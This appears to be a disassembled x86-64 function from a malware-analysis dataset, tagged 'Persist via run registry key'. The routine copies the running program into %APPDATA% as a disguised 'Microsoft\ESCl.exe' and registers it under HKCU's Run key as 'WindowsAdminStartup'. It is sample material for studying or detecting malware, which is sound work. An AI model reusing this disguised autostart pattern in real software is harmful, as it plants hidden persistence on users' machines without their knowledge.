Function at 0x14000165e
Capabilities:
Persist via run registry key

Disassembly:
jmp 0x14000b6c0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rax, qword [0x14002c0d8]
xor rax, rsp
mov qword [rbp + 0x58], rax
xor r13d, r13d
mov esi, r13d
mov dword [rsp + 0x34], r13d
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x50], r13
lea r8, str.appdata
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call qword [0x140030620]
mov r8d, 0x104
lea r12, [0x14002ca00]
mov rdx, r12
xor ecx, ecx
call qword [0x1400300d8]
mov dword [0x14002c9f4], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
mov rdx, qword [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], sil
jne 0x14000b760
lea rcx, [rbp - 0x68]
call fcn.140001091
nop
mov rcx, qword [rbp - 0x58]
mov rdx, qword [rbp - 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x14000b7be
lea rax, [rcx + 0xb]
mov qword [rbp - 0x58], rax
lea rbx, [rbp - 0x68]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x68]
add rbx, rcx
mov r8d, 0xb
lea rdx, str.Microsoft_
mov rcx, rbx
call fcn.14001ea40
mov byte [rbx + 0xb], 0
lea rax, [rbp - 0x68]
jmp 0x14000b7e2
mov qword [rsp + 0x20], 0xb
lea r9, str.Microsoft_
movzx r8d, byte [rsp + 0x30]
mov edx, 0xb
lea rcx, [rbp - 0x68]
call fcn.1400018b6
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r13
mov r15d, 0xf
mov qword [rax + 0x18], r15
mov byte [rax], 0
or esi, 1
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rax, rdx
sub rax, rcx
movabs r8, 0x6578652e6c435345
cmp rax, 8
jb 0x14000b85b
lea rax, [rcx + 8]
mov qword [rbp - 0x78], rax
lea rax, [rsp + 0x78]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x78]
mov qword [rax + rcx], r8
mov byte [rax + rcx + 8], 0
lea rax, [rsp + 0x78]
jmp 0x14000b880
mov qword [rsp + 0x20], 8
lea r9, str.ESCl.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 8
lea rcx, [rsp + 0x78]
call fcn.1400018b6
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r15
mov byte [rax], 0
or esi, 2
xor r8d, r8d
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.1400016ae
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x14000b8fb
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b8f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b8f6
call qword [0x140030838]
int3
call fcn.1400016f4
movdqa xmm0, xmmword [0x1400267e0]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000b94b
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b946
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b946
call qword [0x140030838]
int3
call fcn.1400016f4
movdqa xmm0, xmmword [0x1400267e0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14000b99b
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b996
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b996
call qword [0x140030838]
int3
call fcn.1400016f4
movdqa xmm0, xmmword [0x1400267e0]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
nop
inc rdi
cmp byte [r12 + rdi], 0
jne 0x14000b9c0
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x14000bfb9
mov ecx, 0x16
cmp rdi, 0x10
jae 0x14000ba13
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], r15
mov r8, rdi
mov rdx, r12
lea rcx, [rsp + 0x58]
call fcn.14001ea3a
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x58]
jmp 0x14000ba5c
mov rax, rdi
or rax, 0xf
cmp rax, rbx
ja 0x14000ba29
mov rbx, rax
cmp rax, rcx
cmovb rbx, rcx
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x58]
call fcn.1400017a8
mov r14, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x70], rbx
mov r8, rdi
mov rdx, r12
mov rcx, rax
call fcn.14001ea3a
mov byte [r14 + rdi], 0
cmp rdi, rbx
jae 0x14000ba7f
lea rax, [rdi + 1]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x58]
cmp rbx, 0x10
cmovae rax, r14
mov word [rax + rdi], 0x5c
jmp 0x14000ba97
mov r9b, 0x5c
movzx r8d, byte [rsp + 0x30]
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.140001776
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rsp + 0x68]
movdqu xmmword [rbp - 0x38], xmm1
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r15
mov byte [rsp + 0x58], 0
or esi, 4
movq rcx, xmm1
psrldq xmm1, 8
movq rdx, xmm1
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x14000bb05
lea rax, [rcx + 8]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
cmp rdx, 0x10
cmovae rax, qword [rbp - 0x48]
movabs rdx, 0x6578652e6c435345
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rbp - 0x48]
jmp 0x14000bb29
mov qword [rsp + 0x20], 8
lea r9, str.ESCl.exe
movzx r8d, byte [rsp + 0x30]
mov edx, 8
lea rcx, [rbp - 0x48]
call fcn.1400018b6
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r15
mov byte [rax], 0
or esi, 8
xor r8d, r8d
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x38]
call fcn.1400016ae
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x14000bba4
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bb9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bb9f
call qword [0x140030838]
int3
call fcn.1400016f4
movdqa xmm0, xmmword [0x1400267e0]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14000bbf3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bbee
call qword [0x140030838]
int3
call fcn.1400016f4
mov byte [rbp - 0x48], 0
mov eax, dword [0x14002c9f4]
mov dword [rsp + 0x3c], eax
lea r13, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r13, qword [rbp - 0x28]
mov r12, qword [rbp - 0x18]
call fcn.140001910
mov dword [rsp + 0x38], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ebx, ebx
mov qword [rsp + 0x68], rbx
mov r8, r15
mov qword [rsp + 0x70], r15
mov byte [rsp + 0x58], bl
bts esi, 7
mov dword [rsp + 0x34], esi
test r12, r12
je 0x14000bd34
cmp r12, 0x7fffffff
ja 0x14000bfbf
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r12d
mov rdx, r13
mov ecx, eax
call fcn.140001145
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000bfca
movsxd rcx, ebx
mov rdx, qword [rsp + 0x68]
cmp rcx, rdx
ja 0x14000bca1
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
jmp 0x14000bcfd
mov r14, rcx
sub r14, rdx
mov r8, qword [rsp + 0x70]
mov rax, r8
sub rax, rdx
cmp r14, rax
ja 0x14000bce2
mov qword [rsp + 0x68], rcx
lea rdi, [rsp + 0x58]
cmp r8, 0x10
cmovae rdi, qword [rsp + 0x58]
add rdi, rdx
mov r8, r14
xor edx, edx
mov rcx, rdi
call fcn.14001ea46
mov byte [r14 + rdi], 0
jmp 0x14000bcfd
mov byte [rsp + 0x20], 0
mov r9, r14
movzx r8d, byte [rsp + 0x30]
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140001087
lea r9, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r9, qword [rsp + 0x58]
mov dword [rsp + 0x20], ebx
mov r8d, r12d
mov rdx, r13
mov ecx, dword [rsp + 0x38]
call fcn.140001145
shr rax, 0x20
test eax, eax
jne 0x14000bfd2
mov r8, qword [rsp + 0x70]
xor ebx, ebx
btr esi, 7
or esi, 0x70
lea rdx, [rsp + 0x58]
cmp r8, 0x10
cmovae rdx, qword [rsp + 0x58]
xor r8d, r8d
lea rcx, str.ESCl.exe
call qword [0x140030090]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000bd9a
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bd95
call qword [0x140030838]
int3
call fcn.1400016f4
lea r8, [rsp + 0x48]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [0x140030008]
test eax, eax
jne 0x14000bf71
lea r12, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r12, qword [rbp - 0x28]
mov r14, qword [rbp - 0x18]
call fcn.140001910
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], r15
mov byte [rsp + 0x58], 0
bts esi, 0xb
mov dword [rsp + 0x34], esi
test r14, r14
je 0x14000bee5
cmp r14, 0x7fffffff
ja 0x14000bfda
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r14d
mov rdx, r12
mov ecx, eax
call fcn.140001145
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000bfe5
movsxd rcx, ebx
mov rdx, qword [rsp + 0x68]
cmp rcx, rdx
ja 0x14000be56
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
jmp 0x14000beb1
mov rsi, rcx
sub rsi, rdx
mov r8, qword [rsp + 0x70]
mov rax, r8
sub rax, rdx
cmp rsi, rax
ja 0x14000be96
mov qword [rsp + 0x68], rcx
lea rdi, [rsp + 0x58]
cmp r8, 0x10
cmovae rdi, qword [rsp + 0x58]
add rdi, rdx
mov r8, rsi
xor edx, edx
mov rcx, rdi
call fcn.14001ea46
mov byte [rdi + rsi], 0
jmp 0x14000beb1
mov byte [rsp + 0x20], 0
mov r9, rsi
movzx r8d, byte [rsp + 0x30]
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.140001087
lea r9, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r9, qword [rsp + 0x58]
mov dword [rsp + 0x20], ebx
mov r8d, r14d
mov rdx, r12
mov ecx, r13d
call fcn.140001145
shr rax, 0x20
test eax, eax
jne 0x14000bfb1
mov r15, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
cmp r15, 0x10
cmovae rax, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x3c]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.WindowsAdminStartup
mov rcx, qword [rsp + 0x48]
call qword [section..idata]
test eax, eax
sete bl
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000bf61
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bf5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bf5c
call qword [0x140030838]
int3
call fcn.1400016f4
test bl, bl
je 0x14000bf71
mov rcx, qword [rsp + 0x48]
call qword [0x140030010]
nop
lea rcx, [rbp + 0x38]
call fcn.140001488
nop
lea rcx, [rbp - 0x28]
call fcn.140001488
mov rcx, qword [rbp + 0x58]
xor rcx, rsp
call fcn.14000141a
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, eax
call fcn.14000146a
nop
call fcn.140001447
nop
mov ecx, 0x16
call fcn.1400010c8
int3
mov ecx, eax
call fcn.14000146a
int3
mov ecx, eax
call fcn.14000146a
nop
mov ecx, 0x16
call fcn.1400010c8
int3
mov ecx, eax
call fcn.14000146a
int3